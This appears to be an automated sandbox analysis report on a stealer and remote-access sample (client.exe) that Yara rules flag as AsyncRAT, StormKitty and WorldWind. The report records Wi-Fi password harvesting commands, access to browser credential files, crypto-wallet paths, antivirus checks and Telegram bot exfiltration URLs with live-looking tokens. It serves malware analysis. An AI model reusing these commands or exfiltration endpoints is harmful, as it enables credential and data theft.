Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596561	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 595904	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99862	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 98750	Jump to behavior

Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: client.exe, 00000000.00000002.4494763082.000000000561E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlluuuu
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: client.exe	Binary or memory string: vmware
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: client.exe	Binary or memory string: VMwareVBox
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmpD424.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\client.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Code function: 0_2_05ED0B20 LdrInitializeThunk,

0_2_05ED0B20

Source: C:\Users\user\Desktop\client.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: client.exe, type: SAMPLE

Source: C:\Users\user\Desktop\client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Queries volume information: C:\Users\user\Desktop\client.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: client.exe, 00000000.00000002.4495124378.00000000056D6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\client.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: client.exe, 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	111 Obfuscated Files or Information	1 Input Capture	134 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	341 Security Software Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	251 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
client.exe	73%	Virustotal		Browse
client.exe	87%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRat
client.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
api.mylnikov.org	3%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
icanhazip.com	1%	Virustotal	Browse
114.82.9.0.in-addr.arpa	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099	0%	Avira URL Cloud	safe
https://api.telegram.org	1%	Virustotal		Browse
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	9%	Virustotal		Browse
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	1%	Virustotal		Browse
https://api.telegram.org/bot	2%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-09-13%2011:42:01%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20610930%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20F_5P5%0ARAM:%204095MB%0AHWID:%203D06009743%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	0%	Avira URL Cloud	safe
https://api.telegram.orgD	0%	Avira URL Cloud	safe
http://icanhazip.com/	0%	Avira URL Cloud	safe
http://pastebin.comd	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099	1%	Virustotal		Browse
https://pastebin.com/raw/7B75u64Bd	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	0%	Virustotal		Browse
http://icanhazip.com/	1%	Virustotal		Browse
https://github.com/LimerBoy/StormKitty	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=60997	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=60997	1%	Virustotal		Browse
https://github.com/LimerBoy/StormKitty0&mq	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty0&mq	3%	Virustotal		Browse
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://api.mylnikov.org	0%	Avira URL Cloud	safe
http://api.telegram.orgd	0%	Avira URL Cloud	safe
https://api.telegram.org/file/bot	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com/raw/7B75u64B	0%	Avira URL Cloud	safe
https://api.telegram.org/file/bot	0%	Virustotal		Browse
https://github.com/LimerBoy/StormKitty	2%	Virustotal		Browse
http://api.telegram.org	2%	Virustotal		Browse
https://api.mylnikov.org	3%	Virustotal		Browse
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	0%	Avira URL Cloud	safe
https://pastebin.com/raw/7B75u64B	3%	Virustotal		Browse
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	1%	Virustotal		Browse
http://pastebin.com	0%	Virustotal		Browse
https://pastebin.com	0%	Virustotal		Browse
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.mylnikov.org	172.67.196.114	true	false	3%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
pastebin.com	104.20.3.235	true	true	0%, Virustotal, Browse	unknown
icanhazip.com	104.16.185.241	true	false	1%, Virustotal, Browse	unknown
114.82.9.0.in-addr.arpa	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-09-13%2011:42:01%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20610930%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20F_5P5%0ARAM:%204095MB%0AHWID:%203D06009743%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	true	Avira URL Cloud: safe	unknown
http://icanhazip.com/	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/7B75u64B	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
